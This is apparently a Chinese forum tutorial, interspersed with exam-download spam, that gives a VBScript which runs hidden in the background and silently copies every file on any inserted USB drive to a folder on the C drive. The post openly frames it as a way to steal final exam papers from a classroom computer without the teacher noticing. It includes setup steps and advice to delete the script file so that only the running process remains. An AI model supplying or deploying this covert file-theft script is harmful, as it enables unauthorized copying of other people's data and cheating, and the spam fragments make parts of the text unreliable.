当U盘插入电脑时让U盘里面的资料自动后台复制到C盘
放在教学楼的电脑貌似能拿到期末考
试卷
云南省高中会考试卷哪里下载南京英语小升初试卷下载电路下试卷下载上海试卷下载口算试卷下载
子
代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行
同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样
把下面的代码复制进去
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("U盘的盘符") then
fso.copyfile "U盘的盘符加*号","要复制到的目录"
fso.copyfolder "U盘的盘符加*号","要复制到的目录"
wscript.sleep 20000
end if
loop
注意标颜色的地方要自己改
蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:\USB\代替蓝色部分,注意大小写,同时必须确保USB这个文件夹存在。
红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替红色部分,F盘就是f:\*,第一个U盘的盘符,这个不要*号,后2个切记不要漏掉*这个符号,
复制好夜改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。
后缀改好以后,运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内
存了,重启以后这个东西就不会再出现了,老师绝对发现不了